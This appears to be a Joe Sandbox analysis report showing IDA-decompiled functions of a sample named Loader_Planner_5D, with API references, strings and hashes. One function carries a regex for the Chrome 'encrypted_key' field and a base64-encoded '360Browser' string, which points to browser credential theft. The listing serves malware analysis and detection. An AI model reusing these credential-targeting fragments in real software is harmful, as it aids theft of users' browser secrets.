Executed
Not Executed

C-Code - Quality: 23%

			E00007FF77FF7106421A8(long long __rax, struct _CRITICAL_SECTION* __rbx, void* __r9, void* _a8) {

				InitializeCriticalSectionAndSpinCount(__rbx);
				GetModuleHandleW(??); // executed
				if (__rax != 0) goto 0x106421ee;
				GetModuleHandleW(??);
				if (__rax == 0) goto 0x1064226d;
				GetProcAddress(??, ??);
				GetProcAddress(??, ??);
				if (__rax == 0) goto 0x1064222b;
				if (__rax == 0) goto 0x1064222b;
				 *0x1068aba0 = __rax;
				 *0x1068aba8 = __rax;
				goto 0x10642249;
				r9d = 0;
				r8d = 0;
				CreateEventW(??, ??, ??, ??);
				 *0x1068ab70 = __rax;
				if (__rax == 0) goto 0x1064226d;
				if (E00007FF77FF710641FAC(0, __rax) == 0) goto 0x1064226d;
				E00007FF77FF71064215C(E00007FF77FF710641FAC(0, __rax), __rax);
				return 0;
			}

0x7ff7106421be
0x7ff7106421cb
0x7ff7106421d7
0x7ff7106421e0
0x7ff7106421ec
0x7ff7106421f8
0x7ff71064220b
0x7ff710642214
0x7ff710642219
0x7ff71064221b
0x7ff710642222
0x7ff710642229
0x7ff71064222b
0x7ff71064222e
0x7ff710642237
0x7ff71064223d
0x7ff710642247
0x7ff710642252
0x7ff71064225b
0x7ff71064226c

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF7106421BE
GetModuleHandleW.KERNELBASE ref: 00007FF7106421CB
GetModuleHandleW.KERNEL32 ref: 00007FF7106421E0
GetProcAddress.KERNEL32 ref: 00007FF7106421F8
GetProcAddress.KERNEL32 ref: 00007FF71064220B
CreateEventW.KERNEL32 ref: 00007FF710642237
DeleteCriticalSection.KERNEL32 ref: 00007FF710642283
CloseHandle.KERNEL32 ref: 00007FF710642295

Strings

WakeAllConditionVariable, xrefs: 00007FF7106421FE
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF7106421C4
SleepConditionVariableCS, xrefs: 00007FF7106421EE
kernel32.dll, xrefs: 00007FF7106421D9

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 3bb3189a6c68d1c400bfc7fdce175f887431ce83f9e7e3a6229abc2f353f1a9d
Instruction ID: 61defce2a9d45e0f4a0d7f068401f1700a6e12bf079cd8f8071248d9b83c5fce
Opcode Fuzzy Hash: 3bb3189a6c68d1c400bfc7fdce175f887431ce83f9e7e3a6229abc2f353f1a9d
Instruction Fuzzy Hash: AA210A38E19E4782FA54BB60E855279A2B3AF44770FD44436C90E827A4EE6CF55D8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710667C14 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00007FF77FF710667C14(void* __ecx, void* __edi, void* __ebp, void* __eflags, long long __rbx, long long __rcx, signed int* __rdx, long long __rdi, long long __rsi, long long __r8) {
				void* __rbp;
				signed int _t151;
				long _t164;
				void* _t168;
				signed int _t170;
				void* _t184;
				signed int _t187;
				signed int _t188;
				void* _t213;
				void* _t217;
				intOrPtr* _t238;
				intOrPtr* _t241;
				long long _t253;
				long long _t261;
				signed long long _t267;
				signed long long _t281;
				intOrPtr _t282;
				signed long long _t283;
				signed long long _t302;
				signed int* _t307;
				long long _t310;
				void* _t312;
				void* _t313;
				intOrPtr* _t315;
				void* _t316;
				void* _t324;
				void* _t326;
				void* _t330;
				void* _t334;

				_t318 = __r8;
				_t217 = __ebp;
				_t213 = __edi;
				_t238 = _t315;
				 *((long long*)(_t238 + 8)) = __rbx;
				 *((long long*)(_t238 + 0x10)) = __rsi;
				 *((long long*)(_t238 + 0x20)) = __rdi;
				 *((long long*)(_t238 + 0x18)) = __r8;
				_t5 = _t238 - 0x47; // 0x2aaaaaaaaaaaa9f4
				_t313 = _t5;
				_t316 = _t315 - 0xc0;
				r12d = r9d;
				_t261 = __r8;
				r9d =  *(_t313 + 0x77);
				_t307 = __rdx;
				r8d =  *(_t313 + 0x6f);
				_t310 = __rcx;
				_t8 = _t313 - 1; // 0x2aaaaaaaaaaaa9f3
				E00007FF77FF7106677F4(r12d, __eflags, _t238, __r8, _t8, _t313);
				asm("movups xmm0, [eax]");
				asm("movsd xmm1, [eax+0x10]");
				asm("movups [ebp-0x59], xmm0");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("movsd [ebp-0x39], xmm1");
				asm("movsd [ebp-0x49], xmm1");
				 *(_t313 - 0x29) = _t334 >> 0x20;
				if (r15d != 0xffffffff) goto 0x10667ca1;
				E00007FF77FF71064A604(_t238);
				 *_t238 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF71064A624(_t238);
				goto 0x10667fe3;
				_t151 = E00007FF77FF710658A54(r12d, _t238, __r8, _t8, __rdx, __rdx, _t310);
				 *__rdx = _t151;
				if (_t151 != 0xffffffff) goto 0x10667cc6;
				E00007FF77FF71064A604(_t238);
				 *_t238 = 0;
				 *__rdx =  *__rdx | 0xffffffff;
				E00007FF77FF71064A624(_t238);
				 *_t238 = 0x18;
				goto 0x10667c95;
				r8d = r15d;
				r14d = r14d |  *(_t313 - 0x49);
				 *_t310 = 1;
				 *((long long*)(_t316 + 0x30)) = _t310;
				 *(_t316 + 0x28) = r14d;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				 *((intOrPtr*)(_t313 - 0x21)) = 0x18;
				 *((long long*)(_t313 - 0x19)) = _t310;
				 *(_t313 - 0x11) =  !(r12d >> 7) & 0x00000001;
				 *(_t313 - 0x31) =  *(_t313 - 0x49) >> 0x20;
				CreateFileW(??, ??, ??, ??, ??, ??, ??); // executed
				_t187 =  *(_t313 - 0x55);
				if (_t238 != 0xffffffff) goto 0x10667dac;
				if ((_t187 & 0xc0000000) != 0xc0000000) goto 0x10667d79;
				if ((r12b & 0x00000001) == 0) goto 0x10667d79;
				 *((long long*)(_t316 + 0x30)) = _t310;
				asm("btr ebx, 0x1f");
				 *(_t313 - 0x55) = _t187;
				r8d = r15d;
				 *(_t316 + 0x28) = r14d;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t238 != 0xffffffff) goto 0x10667dac;
				_t267 =  *__rdx;
				_t241 =  *((intOrPtr*)(0x1068b470 + (_t267 >> 6) * 8));
				 *(_t241 + 0x38 + (_t267 + _t267 * 8) * 8) =  *(_t241 + 0x38 + (_t267 + _t267 * 8) * 8) & 0x000000fe;
				E00007FF77FF71064A598(GetLastError(), _t241, _t267 + _t267 * 8);
				goto 0x10667c95;
				_t164 = GetFileType(_t334); // executed
				if (_t164 != 0) goto 0x10667e0a;
				_t188 = GetLastError();
				E00007FF77FF71064A598(_t165, _t241, _t238);
				 *( *((intOrPtr*)(0x1068b470 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) =  *( *((intOrPtr*)(0x1068b470 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) & 0x000000fe;
				CloseHandle(_t330);
				if (_t188 != 0) goto 0x10667c95;
				_t168 = E00007FF77FF71064A624(_t241);
				 *_t241 = 0xd;
				goto 0x10667c95;
				r14b =  *(_t313 - 0x59);
				if (_t168 != 2) goto 0x10667e19;
				r14b = r14b | 0x00000040;
				goto 0x10667e22;
				if (_t168 != 3) goto 0x10667e22;
				r14b = r14b | 0x00000008;
				E00007FF77FF71065896C(_t168, _t188,  *__rdx, _t261, _t238, __rdx, _t310, _t313, _t326, _t324);
				r14b = r14b | 0x00000001;
				 *(_t313 - 0x41) = r14b;
				 *(_t313 - 0x59) = r14b;
				 *( *((intOrPtr*)(0x1068b470 + ( *__rdx >> 6) * 8)) + 0x38 + ( *__rdx +  *__rdx * 8) * 8) = r14b;
				 *((intOrPtr*)( *((intOrPtr*)(0x1068b470 + ( *__rdx >> 6) * 8)) + 0x39 + ( *__rdx +  *__rdx * 8) * 8)) = sil;
				if ((r12b & 0x00000002) == 0) goto 0x10667e96;
				_t170 = E00007FF77FF710667A00(_t188,  *__rdx, r12d & 0x0000003f, _t213, 0, _t261, _t310, _t318);
				r14d = _t170;
				if (_t170 == 0) goto 0x10667e96;
				E00007FF77FF710651F40( *((intOrPtr*)(0x1068b470 + ( *__rdx >> 6) * 8)), _t261, _t307);
				goto 0x10667fe3;
				asm("movups xmm0, [ebp-0x59]");
				_t72 = _t313 - 0x61; // 0x2aaaaaaaaaaaa993
				asm("movsd xmm1, [ebp-0x39]");
				_t73 = _t313 - 1; // 0x2aaaaaaaaaaaa9f3
				r8d = r12d;
				asm("movaps [ebp-0x1], xmm0");
				 *((intOrPtr*)(_t313 - 0x61)) = sil;
				asm("movsd [ebp+0xf], xmm1");
				r14d = E00007FF77FF71066757C( *_t307, _t217, _t261, _t73, _t310, _t313, _t318, _t72);
				if (r14d == 0) goto 0x10667ecd;
				goto 0x10667e89;
				 *((char*)( *((intOrPtr*)(0x1068b470 + ( *_t307 >> 6) * 8)) + 0x39 + ( *_t307 +  *_t307 * 8) * 8)) =  *((intOrPtr*)(_t313 - 0x61));
				_t281 =  *_t307;
				_t302 = _t281 + _t281 * 8;
				_t282 =  *((intOrPtr*)(0x1068b470 + (_t281 >> 6) * 8));
				 *(_t282 + 0x3d + _t302 * 8) =  *(_t282 + 0x3d + _t302 * 8) & 0x000000fe;
				 *(_t282 + 0x3d + _t302 * 8) =  *(_t282 + 0x3d + _t302 * 8) | r12d >> 0x00000010 & 0x00000001;
				if (( *(_t313 - 0x41) & 0x00000048) != 0) goto 0x10667f32;
				if ((r12b & 0x00000008) == 0) goto 0x10667f32;
				_t283 =  *_t307;
				_t253 =  *((intOrPtr*)(0x1068b470 + (_t283 >> 6) * 8));
				 *(_t253 + 0x38 + (_t283 + _t283 * 8) * 8) =  *(_t253 + 0x38 + (_t283 + _t283 * 8) * 8) | 0x00000020;
				if ((_t188 & 0xc0000000) != 0xc0000000) goto 0x10667fe1;
				if ((r12b & 0x00000001) == 0) goto 0x10667fe1;
				CloseHandle(_t312);
				r8d =  *(_t313 - 0x29);
				asm("btr ebx, 0x1f");
				 *((long long*)(_t316 + 0x30)) = _t310;
				 *(_t316 + 0x28) = 0xc0000000;
				 *((intOrPtr*)(_t316 + 0x20)) =  *((intOrPtr*)(_t313 - 0x51));
				 *(_t313 - 0x55) = _t188;
				CreateFileW(??, ??, ??, ??, ??, ??, ??);
				if (_t253 != 0xffffffff) goto 0x10667fc7;
				_t184 = E00007FF77FF71064A598(GetLastError(), _t253,  *((intOrPtr*)(_t313 + 0x5f)));
				 *( *((intOrPtr*)(0x1068b470 + ( *_t307 >> 6) * 8)) + 0x38 + ( *_t307 +  *_t307 * 8) * 8) =  *( *((intOrPtr*)(0x1068b470 + ( *_t307 >> 6) * 8)) + 0x38 + ( *_t307 +  *_t307 * 8) * 8) & 0x000000fe;
				E00007FF77FF710658B94(_t184, _t188,  *_t307, _t261, _t307, _t310);
				goto 0x10667c95;
				 *((long long*)( *((intOrPtr*)(0x1068b470 + ( *_t307 >> 6) * 8)) + 0x28 + ( *_t307 +  *_t307 * 8) * 8)) = _t253;
				return 0;
			}

0x7ff710667c14
0x7ff710667c14
0x7ff710667c14
0x7ff710667c14
0x7ff710667c17
0x7ff710667c1b
0x7ff710667c1f
0x7ff710667c23
0x7ff710667c30
0x7ff710667c30
0x7ff710667c34
0x7ff710667c3b
0x7ff710667c3e
0x7ff710667c41
0x7ff710667c45
0x7ff710667c48
0x7ff710667c4c
0x7ff710667c52
0x7ff710667c56
0x7ff710667c5b
0x7ff710667c5e
0x7ff710667c63
0x7ff710667c67
0x7ff710667c6c
0x7ff710667c71
0x7ff710667c7a
0x7ff710667c7f
0x7ff710667c87
0x7ff710667c89
0x7ff710667c90
0x7ff710667c92
0x7ff710667c95
0x7ff710667c9c
0x7ff710667ca1
0x7ff710667ca6
0x7ff710667cab
0x7ff710667cad
0x7ff710667cb4
0x7ff710667cb6
0x7ff710667cb9
0x7ff710667cbe
0x7ff710667cc4
0x7ff710667cd8
0x7ff710667ce4
0x7ff710667ceb
0x7ff710667cf3
0x7ff710667cf8
0x7ff710667cfd
0x7ff710667d08
0x7ff710667d0f
0x7ff710667d13
0x7ff710667d16
0x7ff710667d1a
0x7ff710667d20
0x7ff710667d2f
0x7ff710667d37
0x7ff710667d3d
0x7ff710667d46
0x7ff710667d4b
0x7ff710667d4f
0x7ff710667d52
0x7ff710667d59
0x7ff710667d5e
0x7ff710667d6a
0x7ff710667d77
0x7ff710667d79
0x7ff710667d91
0x7ff710667d95
0x7ff710667da2
0x7ff710667da7
0x7ff710667daf
0x7ff710667db7
0x7ff710667dc1
0x7ff710667dc3
0x7ff710667de4
0x7ff710667dec
0x7ff710667df4
0x7ff710667dfa
0x7ff710667dff
0x7ff710667e05
0x7ff710667e0a
0x7ff710667e11
0x7ff710667e13
0x7ff710667e17
0x7ff710667e1c
0x7ff710667e1e
0x7ff710667e27
0x7ff710667e39
0x7ff710667e44
0x7ff710667e48
0x7ff710667e54
0x7ff710667e6e
0x7ff710667e77
0x7ff710667e7b
0x7ff710667e80
0x7ff710667e85
0x7ff710667e89
0x7ff710667e91
0x7ff710667e96
0x7ff710667e9a
0x7ff710667ea0
0x7ff710667ea5
0x7ff710667ea9
0x7ff710667eac
0x7ff710667eb0
0x7ff710667eb4
0x7ff710667ebe
0x7ff710667ec7
0x7ff710667ecb
0x7ff710667ee2
0x7ff710667ee6
0x7ff710667ef3
0x7ff710667ef7
0x7ff710667f03
0x7ff710667f08
0x7ff710667f10
0x7ff710667f16
0x7ff710667f18
0x7ff710667f29
0x7ff710667f2d
0x7ff710667f3d
0x7ff710667f47
0x7ff710667f50
0x7ff710667f5e
0x7ff710667f62
0x7ff710667f66
0x7ff710667f6b
0x7ff710667f72
0x7ff710667f7a
0x7ff710667f85
0x7ff710667f92
0x7ff710667f9c
0x7ff710667fb6
0x7ff710667fbd
0x7ff710667fc2
0x7ff710667fdc
0x7ff710668003

APIs

Part of subcall function 00007FF7106677F4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF710667835
Part of subcall function 00007FF7106677F4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7106678B5
Part of subcall function 00007FF7106677F4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF710667909
Part of subcall function 00007FF7106677F4: _get_daylight.LIBCMT ref: 00007FF710667961

CreateFileW.KERNELBASE ref: 00007FF710667D1A
CreateFileW.KERNEL32 ref: 00007FF710667D6A
GetLastError.KERNEL32 ref: 00007FF710667D9A
GetFileType.KERNELBASE ref: 00007FF710667DAF
GetLastError.KERNEL32 ref: 00007FF710667DB9
CloseHandle.KERNEL32 ref: 00007FF710667DEC
CloseHandle.KERNEL32 ref: 00007FF710667F50
CreateFileW.KERNEL32 ref: 00007FF710667F85
GetLastError.KERNEL32 ref: 00007FF710667F94

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: a480f2e2aa48626a4f5edf93809998f4e3e6ddee0b59014df9967c602fef9887
Instruction ID: 9f06e331cbefdce6769a6196c1f568a83f6dc2f2d17070e1eedfd1c8dce10b49
Opcode Fuzzy Hash: a480f2e2aa48626a4f5edf93809998f4e3e6ddee0b59014df9967c602fef9887
Instruction Fuzzy Hash: 11C1CF3AB28E4686EB10EF64C4806BC7772FB49BA8F411225DA1E97395DF3CE459C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710627170 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E00007FF77FF710627170(long long __rbx, long long __rcx, long long __rdi, long long __rsi) {
				void* __rbp;
				void* _t65;
				void* _t66;
				intOrPtr _t68;
				void* _t71;
				void* _t75;
				void* _t90;
				void* _t92;
				signed long long _t105;
				signed long long _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				long long _t109;
				long long _t110;
				long long _t123;
				signed long long _t130;
				intOrPtr _t140;
				void* _t144;
				long long* _t149;
				signed long long _t152;
				signed long long _t153;
				void* _t155;
				void* _t156;
				void* _t158;
				signed long long _t159;
				void* _t162;
				long long _t163;
				void* _t165;
				void* _t167;
				signed int _t168;
				void* _t170;
				long long _t171;

				 *((long long*)(_t158 + 0x10)) = __rbx;
				 *((long long*)(_t158 + 0x18)) = __rsi;
				 *((long long*)(_t158 + 0x20)) = __rdi;
				_t4 = _t158 - 0x37; // 0x2aaaaaaaaaaaaa44
				_t156 = _t4;
				_t159 = _t158 - 0xf0;
				_t105 =  *0x10689010; // 0xafe3859a1ce3
				_t106 = _t105 ^ _t159;
				 *(_t156 + 0x27) = _t106;
				_t149 = __rcx;
				 *((long long*)(_t159 + 0x30)) = __rcx;
				 *((long long*)(__rcx)) = 0;
				_t163 = __rcx + 8;
				 *((long long*)(_t159 + 0x28)) = _t163;
				_t65 = E00007FF77FF710661EA0(1, _t90, __rbx, _t144, __rsi, _t156, _t170, _t167);
				 *(_t163 + 0x18) = _t106;
				_t10 = _t156 - 0x7d; // 0x2aaaaaaaaaaaa9c7
				_t66 = E00007FF77FF7106617CC(_t65, 0, _t10);
				_t171 =  *0x1068c2e0; // 0x2462149b010
				 *((long long*)(_t159 + 0x20)) = _t171;
				_t152 =  *0x1068c320; // 0x5
				if (_t152 != 0) goto 0x10627227;
				_t12 = _t159 + 0x38; // 0x2aaaaaaaaaaaaab3
				E00007FF77FF7106617CC(_t66, 0, _t12);
				_t92 =  *0x1068c320 - _t152; // 0x5
				if (_t92 != 0) goto 0x10627216;
				_t68 =  *0x1068be60; // 0x5
				 *0x1068be60 = _t68 + 1;
				 *0x1068c320 = _t106;
				_t13 = _t159 + 0x38; // 0x2aaaaaaaaaaaaab3
				_t71 = E00007FF77FF710661844(_t106, _t13);
				_t153 =  *0x1068c320; // 0x5
				_t130 =  *(_t163 + 0x18);
				_t168 = _t153 * 8;
				if (_t153 -  *((intOrPtr*)(_t130 + 0x18)) >= 0) goto 0x10627249;
				_t107 =  *((intOrPtr*)(_t130 + 0x10));
				if ( *((intOrPtr*)(_t168 + _t107)) != 0) goto 0x106272ad;
				goto 0x1062724b;
				if ( *((char*)(_t130 + 0x24)) == 0) goto 0x10627264;
				E00007FF77FF710661E98(_t71);
				if (_t153 -  *((intOrPtr*)(_t107 + 0x18)) >= 0) goto 0x10627269;
				_t108 =  *((intOrPtr*)(_t107 + 0x10));
				if ( *((intOrPtr*)(_t168 + _t108)) != 0) goto 0x106272ad;
				if (_t171 == 0) goto 0x10627273;
				goto 0x106272ad;
				_t24 = _t159 + 0x20; // 0x2aaaaaaaaaaaaa9b, executed
				E00007FF77FF71062A980(_t108, _t171, _t24, _t163 + 0x10, _t153); // executed
				if (_t108 == 0xffffffff) goto 0x1062742d;
				_t123 =  *((intOrPtr*)(_t159 + 0x20));
				 *((long long*)(_t156 + 0x17)) = _t123;
				E00007FF77FF710661E60(_t108, _t123);
				_t109 =  *_t123;
				_t75 =  *((intOrPtr*)(_t109 + 8))();
				 *0x1068c2e0 = _t123;
				_t28 = _t156 - 0x7d; // 0x2aaaaaaaaaaaa9c7
				E00007FF77FF710661844(_t75, _t28);
				 *_t163 = _t123;
				E00007FF77FF710629340(_t123, _t163 + 0x10, _t156, _t165);
				 *((long long*)(_t163 + 8)) = _t109;
				asm("xorps xmm0, xmm0");
				asm("movups [ebp-0x79], xmm0");
				asm("movups [ebp-0x69], xmm0");
				asm("movups [ebp-0x49], xmm0");
				asm("movups [ebp-0x39], xmm0");
				asm("movups [ebp-0x29], xmm0");
				asm("movups [ebp-0x19], xmm0");
				asm("movups [ebp-0x9], xmm0");
				 *((long long*)(_t156 + 7)) = _t109;
				_t110 = "(\"encrypted_key\":\")([.]*[^.}]+)(\")";
				 *((long long*)(_t156 - 0x79)) = _t110;
				 *((long long*)(_t156 - 0x71)) = _t110;
				 *((long long*)(_t156 - 0x69)) = 0x1067ba92;
				 *((long long*)(_t156 - 0x61)) = _t123;
				asm("movdqa [ebp-0x59], xmm0");
				 *((long long*)(_t156 - 0x49)) = _t123;
				 *((long long*)(_t156 - 0x41)) = _t123;
				_t38 = _t123 + 0x30; // 0x30
				E00007FF77FF710641E18(0x1067ba92, _t163 + 0x10);
				 *((long long*)(_t159 + 0x28)) = 0x1067ba92;
				asm("xorps xmm0, xmm0");
				asm("movups [eax], xmm0");
				asm("movups [eax+0x10], xmm0");
				asm("movups [eax+0x20], xmm0");
				 *((long long*)("MzYwQnJvd3Nlcg==")) = 0x14;
				 *((long long*)("MzYwQnJvd3Nlcg==")) = _t123;
				 *0x7FF71067BAAA = _t123;
				 *0x1067ba92 = 0x1067c4d8;
				 *0x7FF71067BAB6 = _t123;
				 *0x7FF71067BABE = 0;
				 *((long long*)(_t156 - 0x39)) = 0x1067ba92;
				 *((long long*)(_t156 - 0x31)) = 0x1067ba92;
				 *((intOrPtr*)(_t156 - 0x29)) = 1;
				 *((long long*)(_t156 - 0x21)) = _t163;
				 *((intOrPtr*)(_t156 - 0x19)) = 0x100;
				 *((intOrPtr*)(_t156 - 0x15)) = 4;
				 *((long long*)(_t156 - 0x11)) = _t163;
				 *((intOrPtr*)(_t156 - 9)) = 1;
				 *((intOrPtr*)(_t156 + 7)) = 0x8775dfb;
				E00007FF77FF71062C5B0();
				_t55 = _t156 - 0x79; // 0x2aaaaaaaaaaaa9cb
				E00007FF77FF71062B9A0(0x1067ba92, _t123, _t55, _t156, _t162, _t155);
				if (0x1067ba92 == 0) goto 0x106273a9;
				asm("lock inc dword [eax+0x2c]");
				E00007FF77FF710628C30(0x1067ba92, _t149, _t149);
				 *_t149 = 0x1067ba92;
				_t140 =  *((intOrPtr*)(_t156 - 0x59));
				if (_t140 == 0) goto 0x106273f7;
				if (( *((intOrPtr*)(_t156 - 0x49)) - _t140 >> 2) * 4 - 0x1000 < 0) goto 0x106273f1;
				if (_t140 -  *((intOrPtr*)(_t140 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x10627427;
				return E00007FF77FF710641DF0(E00007FF77FF710641E10(_t140 -  *((intOrPtr*)(_t140 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t140 - 8))), _t38,  *(_t156 + 0x27) ^ _t159);
			}

0x7ff710627170
0x7ff710627175
0x7ff71062717a
0x7ff710627188
0x7ff710627188
0x7ff71062718d
0x7ff710627194
0x7ff71062719b
0x7ff71062719e
0x7ff7106271a2
0x7ff7106271a5
0x7ff7106271aa
0x7ff7106271b1
0x7ff7106271b5
0x7ff7106271bc
0x7ff7106271c1
0x7ff7106271c8
0x7ff7106271cc
0x7ff7106271d2
0x7ff7106271d9
0x7ff7106271de
0x7ff7106271e8
0x7ff7106271ec
0x7ff7106271f1
0x7ff7106271f6
0x7ff7106271fd
0x7ff7106271ff
0x7ff710627207
0x7ff71062720f
0x7ff710627216
0x7ff71062721b
0x7ff710627220
0x7ff710627227
0x7ff71062722c
0x7ff710627238
0x7ff71062723a
0x7ff710627245
0x7ff710627247
0x7ff71062724f
0x7ff710627251
0x7ff71062725a
0x7ff71062725c
0x7ff710627267
0x7ff71062726c
0x7ff710627271
0x7ff710627278
0x7ff71062727d
0x7ff710627286
0x7ff71062728c
0x7ff710627291
0x7ff710627298
0x7ff71062729d
0x7ff7106272a3
0x7ff7106272a6
0x7ff7106272ad
0x7ff7106272b1
0x7ff7106272b6
0x7ff7106272bf
0x7ff7106272c4
0x7ff7106272c9
0x7ff7106272ce
0x7ff7106272d2
0x7ff7106272d6
0x7ff7106272da
0x7ff7106272de
0x7ff7106272e2
0x7ff7106272e6
0x7ff7106272ea
0x7ff7106272ee
0x7ff7106272f5
0x7ff7106272f9
0x7ff710627304
0x7ff71062730a
0x7ff71062730e
0x7ff710627313
0x7ff710627317
0x7ff71062731b
0x7ff71062731e
0x7ff710627323
0x7ff710627328
0x7ff71062732b
0x7ff71062732e
0x7ff710627332
0x7ff710627336
0x7ff71062733e
0x7ff710627342
0x7ff71062734d
0x7ff710627350
0x7ff710627354
0x7ff710627357
0x7ff71062735b
0x7ff71062735f
0x7ff710627366
0x7ff71062736a
0x7ff710627371
0x7ff710627378
0x7ff71062737c
0x7ff710627383
0x7ff71062738e
0x7ff710627394
0x7ff710627398
0x7ff7106273a3
0x7ff7106273a5
0x7ff7106273ac
0x7ff7106273b1
0x7ff7106273b4
0x7ff7106273bb
0x7ff7106273da
0x7ff7106273ef
0x7ff710627426

APIs

Part of subcall function 00007FF710661EA0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF710661EBD
Part of subcall function 00007FF710661EA0: std::locale::_Setgloballocale.LIBCPMT ref: 00007FF710661EE0

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7106271CC
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7106271F1
std::_Facet_Register.LIBCPMT ref: 00007FF710627298
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710627427
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71062742D

Part of subcall function 00007FF710621B30: __std_exception_copy.LIBVCRUNTIME ref: 00007FF710621B74

Part of subcall function 00007FF710629860: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71062988B
Part of subcall function 00007FF710629860: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7106298B0

Strings

("encrypted_key":")([.]*[^.}]+)("), xrefs: 00007FF7106272EE

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_RegisterSetgloballocale__std_exception_copy_invalid_parameter_noinfo_noreturnstd::locale::_
String ID: ("encrypted_key":")([.]*[^.}]+)(")
API String ID: 1929622823-1082832067
Opcode ID: 6214b3dc1ccd84b1df657a797f5ebe52457e1b63da73a23e1801591fc8127c38
Instruction ID: d912787592923b67eb45abd0243cf8963bcc89437a7f536bbf200209654e0d98
Opcode Fuzzy Hash: 6214b3dc1ccd84b1df657a797f5ebe52457e1b63da73a23e1801591fc8127c38
Instruction Fuzzy Hash: CCA17C32A14F4186EB10EF61E4406AC73B6FB88B68F844236EE4C17759DF38E599C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71062A980 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E00007FF77FF71062A980(long long __rax, long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* _t48;
				void* _t58;
				intOrPtr* _t77;
				intOrPtr _t85;
				intOrPtr _t105;
				void* _t108;
				long long* _t109;
				long long _t112;
				void* _t114;
				void* _t115;
				void* _t117;
				long long _t121;

				_t77 = __rax;
				 *((long long*)(_t117 + 0x18)) = __rbx;
				 *((long long*)(_t117 + 0x20)) = __rsi;
				_t3 = _t117 - 0x47; // 0x2aaaaaaaaaaaaa14
				_t115 = _t3;
				_t109 = __rcx;
				r14d = 0;
				 *((intOrPtr*)(_t115 - 0x59)) = r14d;
				if (__rcx == 0) goto 0x1062ab1b;
				if ( *((intOrPtr*)(__rcx)) != _t121) goto 0x1062ab1b;
				_t5 = _t121 + 0x20; // 0x20
				_t62 = _t5;
				E00007FF77FF710641E18(__rax, __rcx);
				_t112 = __rax;
				 *((long long*)(_t115 + 0x17)) = __rax;
				_t7 = _t115 + 0x27; // 0x2aaaaaaaaaaaaa3b
				_t48 = E00007FF77FF710621CC0(__rdx, __rdx, _t7, __rax, _t121);
